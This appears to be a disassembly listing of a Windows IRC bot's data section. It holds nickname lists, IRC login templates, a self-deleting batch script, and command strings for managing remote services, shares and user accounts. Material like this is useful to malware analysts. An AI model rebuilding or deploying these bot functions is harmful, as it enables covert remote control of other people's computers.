aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_437F28 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" ; --------------------------------------------------------------------------- fadd qword ptr [ecx-7E2BFFBDh] inc ebx add ah, cl add dword ptr [ebx+0], offset aQ8 ; "Q8" rol byte ptr [ecx-7847FFBDh], 43h add [eax], dh lodsb inc edx add [eax], bh mov dword ptr [edx+0], offset aE ; "e" rol byte ptr [edi-7833FFBDh], 1 inc ebx add al, cl xchg eax, [ebx+0] or al, 0C3h inc edx add [eax], dh mov ch, 42h add [eax-4Dh], bh inc edx add [eax-3BFFBD39h], dl xchg eax, [ebx+0] clc lodsb inc edx add [ebx+esi*4+42h], bh add [ebx+esi*4], ch inc edx add [edx+ebp*4-3CDFFFBEh], al inc edx add [ecx+eax*4-3D4FFFBDh], bh inc edx add [eax-2BFFBD56h], ch mov dl, 42h add al, bl xchg eax, [ebx+0] mov esp, 0D4004387h xchg eax, [ebx+0] rol byte ptr [edi-7E4BFFBDh], 43h add [eax-53FFBC7Fh], dh add dword ptr [ebx+0], offset aGf ; "gf" movsb add dword ptr [ebx+0], offset aSdf ; "sdf" pushf add dword ptr [ebx+0], offset aLuvy ; "luvy" mov word ptr [ecx-7E7BFFBDh], es inc ebx add [ecx+eax*4+43h], bh add al, al xchg eax, [ebx+0] int 3 ; Trap to Debugger xchg eax, [ebx+0] adc al, 0C3h inc edx add [eax], ah retn ; --------------------------------------------------------------------------- dw 42h dd offset off_438178 dd offset aBbl ; "|bbl" dd offset dword_43D158 dd offset dword_43D158 dd offset a___0 ; "_|_" dd offset dword_43D158 dd offset dword_43D158 dd offset dword_43D158 dd offset dword_43D158 dd offset dword_438788 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_4387B8 dd offset dword_43D158 dd offset aSleeping ; "Sleeping" dd offset dword_43D158 dd offset dword_43D158 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D158 dd offset dword_43D158 dd offset dword_43876C dd offset dword_43D158 dd offset off_438138 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380F8 dd offset dword_4380F4 dd offset dword_4380EC dd offset dword_4380E0 dd offset dword_4380D8 dd offset dword_4380D0 dd offset dword_4380C8 dd offset dword_4380C4 dd offset dword_4380C0 dword_4380C0 dd 7536h ; DATA XREF: ___:004380BCo dword_4380C4 dd 7535h ; DATA XREF: ___:004380B8o dword_4380C8 dd 7C75347Ch, 0 ; DATA XREF: ___:004380B4o dword_4380D0 dd 6F79347Bh, 7D75h ; DATA XREF: ___:004380B0o dword_4380D8 dd 7375347Ch, 7Ch ; DATA XREF: ___:004380ACo dword_4380E0 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:004380A8o dword_4380EC dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:004380A4o dword_4380F4 dd 6C6F6Ch ; DATA XREF: ___:004380A0o dword_4380F8 dd 746F74h ; DATA XREF: ___:0043809Co aMofo db 'mofo',0 ; DATA XREF: ___:00438098o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:00438094o align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438090o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:0043808Co align 4 aAha db 'aha',0 ; DATA XREF: ___:00438088o aShit db 'shit',0 ; DATA XREF: ___:00438084o align 4 aGurl db 'gurl',0 ; DATA XREF: ___:00438080o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: ___:0043807Co align 4 off_438138 dd offset aIiii ; DATA XREF: ___:00438078o ; "┬┬┬┬" aFree db 'Free',0 ; DATA XREF: ___:00438064o align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438060o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438054o align 4 aF_2 db '^^^f^',0 ; DATA XREF: ___:00438048o align 10h aSad db 'Sad',0 ; DATA XREF: ___:00438044o aLuvu db 'LUVU',0 ; DATA XREF: ___:00438040o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00438024o aBbl db '|bbl',0 ; DATA XREF: ___:00438018o align 4 off_438178 dd offset loc_425242 ; DATA XREF: ___:00438014o aMuckc db 'muckc',0 align 4 aTruck db 'truck',0 align 4 aTrimy db 'trimy',0 align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00437FF1o align 4 aUi db 'ui',0 align 10h aSdf db 'sdf',0 ; DATA XREF: ___:00437FE9o aRt db 'rt',0 align 4 aGf db 'gf',0 ; DATA XREF: ___:00437FE1o align 4 aTy db 'ty',0 align 10h aRg db 'rg',0 align 4 aHappy db 'happy',0 align 4 aRs db 'rs',0 align 10h aQ8A db '|q8|a',0 align 4 aQ8 db 'Q8',0 ; DATA XREF: ___:00437F69o align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 4 aGens db '{gens|',0 ; DATA XREF: ___:00437F5Co align 10h aSex db '{sex}',0 ; DATA XREF: ___:00437F58o align 4 aHub db '{hub}',0 ; DATA XREF: ___:00437F54o align 10h aLuck db '|luck|',0 ; DATA XREF: ___:00437F50o align 4 aSuck db '|suck|',0 ; DATA XREF: ___:00437F4Co align 10h aTot db '-|tot|',0 ; DATA XREF: ___:00437F48o align 4 aWoh db '|woh|',0 ; DATA XREF: ___:00437F44o align 10h aTambe db '|tambe|',0 ; DATA XREF: ___:00437F40o aLag db 'lag',0 ; DATA XREF: ___:00437F3Co aBad db 'bad',0 ; DATA XREF: ___:00437F38o aTree db 'tree',0 ; DATA XREF: ___:00437F34o align 4 aZex db 'zex',0 ; DATA XREF: ___:00437F30o aLez db 'lez',0 ; DATA XREF: ___:00437F2Co aSex_0 db 'sex',0 ; DATA XREF: ___:off_437F28o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437F24o align 10h aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437F20o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437F1Co align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437F18o align 10h aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437F14o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437F10o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437F0Co align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437F08o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437F04o align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437F00o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EFCo align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00437EF8o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EF4o align 10h aUla db 'ula',0 ; DATA XREF: ___:00437EF0o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EECo aAkden db 'akden',0 ; DATA XREF: ___:00437EE8o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EE4o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EE0o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437EDCo aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437ED8o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437ED4o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437ED0o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437ECCo align 10h aAnkm db 'ankM',0 ; DATA XREF: ___:00437EC8o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00437EC4o align 10h aDevre db 'devre',0 ; DATA XREF: ___:00437EC0o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:00437EBCo align 10h aBirsen db 'birsen',0 ; DATA XREF: ___:00437EB8o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:00437EB4o align 10h aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437EB0o align 4 off_43835C dd offset byte_4B5245 ; DATA XREF: ___:00437EACo aSevda db 'sevda',0 ; DATA XREF: ___:00437EA8o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:00437EA4o align 10h aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437EA0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E9Co align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E98o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E94o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:00437E90o align 10h aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E8Co align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E88o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E84o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E80o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:00437E7Co align 10h aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E78o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:00437E74o align 10h aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E70o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E6Co align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E68o align 10h aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E64o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E60o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E5Co align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E58o aHoly db 'holy',0 ; DATA XREF: ___:00437E54o align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E50o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E4Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E48o align 10h aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E44o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E40o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E3Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E38o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437E34o align 10h aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437E30o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437E2Co aArda db 'arda',0 ; DATA XREF: ___:00437E28o align 10h aDevran db 'devran',0 ; DATA XREF: ___:00437E24o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437E20o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437E1Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437E18o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437E14o align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437E10o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437E0Co align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00437E08o align 10h off_4384F0 dd offset byte_457441 ; DATA XREF: ___:00437E04o dword_4384F4 dd 414C5941h, 2Dh ; DATA XREF: ___:00437E00o aAlbina db 'albina',0 ; DATA XREF: ___:00437DFCo align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DF8o align 10h aZack db 'ZACK',0 ; DATA XREF: ___:00437DF4o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DF0o align 10h aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DECo align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DE8o align 10h aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DE4o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DE0o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:00437DDCo align 10h aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DD8o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437DD4o aAslii db 'aslii',0 ; DATA XREF: ___:00437DD0o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437DCCo aHaticem db 'haticem',0 ; DATA XREF: ___:00437DC8o aArzu db 'ARZU',0 ; DATA XREF: ___:00437DC4o align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437DC0o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437DBCo align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437DB8o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437DB4o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437DB0o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:00437DACo align 10h aMelekk db 'melekk',0 ; DATA XREF: ___:00437DA8o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:00437DA4o align 10h aMary db 'MARY',0 ; DATA XREF: ___:00437DA0o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D9Co aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D98o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D94o align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D90o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D8Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D88o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D84o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D80o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D7Co align 10h aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D78o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D74o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:00437D70o aReshma db 'reshma',0 ; DATA XREF: ___:00437D6Co align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D68o align 10h aGirl db 'GirL',0 ; DATA XREF: ___:00437D64o align 4 aImra db 'imra',0 ; DATA XREF: ___:00437D60o align 10h aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D5Co align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D58o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00437D54o align 10h aManee db 'manee',0 ; DATA XREF: ___:00437D50o align 4 aTroller db 'troller',0 ; DATA XREF: ___:00437D4Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D48o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D44o align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D40o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D3Co align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D38o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437D34o align 4 aCme db 'cme',0 ; DATA XREF: ___:00437D30o aMarcy db 'marcy',0 ; DATA XREF: ___:00437D2Co align 10h aTalika db 'talika',0 ; DATA XREF: ___:00437D28o align 4 aShez db 'Shez',0 ; DATA XREF: ___:00437D24o align 10h aKen db 'ken',0 ; DATA XREF: ___:00437D20o aFlexster db 'flexster',0 ; DATA XREF: ___:00437D1Co align 10h aKoko db 'koko',0 ; DATA XREF: ___:00437D18o align 4 aMale db 'male',0 ; DATA XREF: ___:00437D14o align 10h aSwin db 'swin',0 ; DATA XREF: ___:00437D10o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437D0Co aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437D08o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:00437D04o align 10h aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437D00o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CFCo aFarooq db 'farooq',0 ; DATA XREF: ___:00437CF8o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CF4o align 4 aM_0: ; DATA XREF: ___:00437CF0o ; ___:0043803Co unicode 0, <M>,0 word_43875C dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CECo align 10h dword_438760 dd 42h ; DATA XREF: ___:00437CE8o dword_438764 dd 56h ; DATA XREF: ___:00437CE4o dword_438768 dd 43h ; DATA XREF: ___:00437CE0o dword_43876C dd 58h ; DATA XREF: ___:00437CDCo ; ___:00438070o dword_438770 dd 5Ah ; DATA XREF: ___:00437CD8o dword_438774 dd 4Ch ; DATA XREF: ___:00437CD4o dword_438778 dd 4Bh ; DATA XREF: ___:00437CD0o dword_43877C dd 4Ah ; DATA XREF: ___:00437CCCo dword_438780 dd 48h ; DATA XREF: ___:00437CC8o dword_438784 dd 47h ; DATA XREF: ___:00437CC4o dword_438788 dd 46h ; DATA XREF: ___:00437CC0o ; ___:00438038o dword_43878C dd 44h ; DATA XREF: ___:00437CBCo dword_438790 dd 53h ; DATA XREF: ___:00437CB8o dword_438794 dd 50h ; DATA XREF: ___:00437CB0o dword_438798 dd 4Fh ; DATA XREF: ___:00437CACo dword_43879C dd 55h ; DATA XREF: ___:00437CA4o word_4387A0 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437CA0o align 4 dword_4387A4 dd 54h ; DATA XREF: ___:00437C9Co dword_4387A8 dd 52h ; DATA XREF: ___:00437C98o dword_4387AC dd 45h ; DATA XREF: ___:00437C94o dword_4387B0 dd 57h ; DATA XREF: ___:00437C90o dword_4387B4 dd 51h ; DATA XREF: ___:00437C8Co dword_4387B8 dd 62h ; DATA XREF: ___:00437C80o ; ___:0043804Co dword_4387BC dd 78h ; DATA XREF: ___:00437C74o dword_4387C0 dd 7Ah ; DATA XREF: ___:00437C70o dword_4387C4 dd 6Ch ; DATA XREF: ___:00437C6Co dword_4387C8 dd 68h ; DATA XREF: ___:00437C60o dword_4387CC dd 67h ; DATA XREF: ___:00437C5Co dword_4387D0 dd 66h, 79h ; DATA XREF: ___:00437C58o dword_4387D8 dd 77h ; DATA XREF: ___:00437C2Co dword_4387DC dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387E8 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387EC dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_438964 db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_438994 db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_4389BC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389D8 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389DC dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389E0 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A4Ch, 438A44h, 2, 438A38h, 438A2Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:00438A0Co aStop_0 db 'Stop',0 ; DATA XREF: ___:00438A08o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00438A00o aStart_0 db 'Start',0 ; DATA XREF: ___:004389FCo align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389F4o align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389F0o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389E8o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389E4o align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389DCo align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389D8o unk_438AA0 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438AC4 db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_438AF0 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_439044 db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_439068 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_439084 db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_4390D0 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 10h unk_439130 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_439158 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439188 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_4391A8 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; 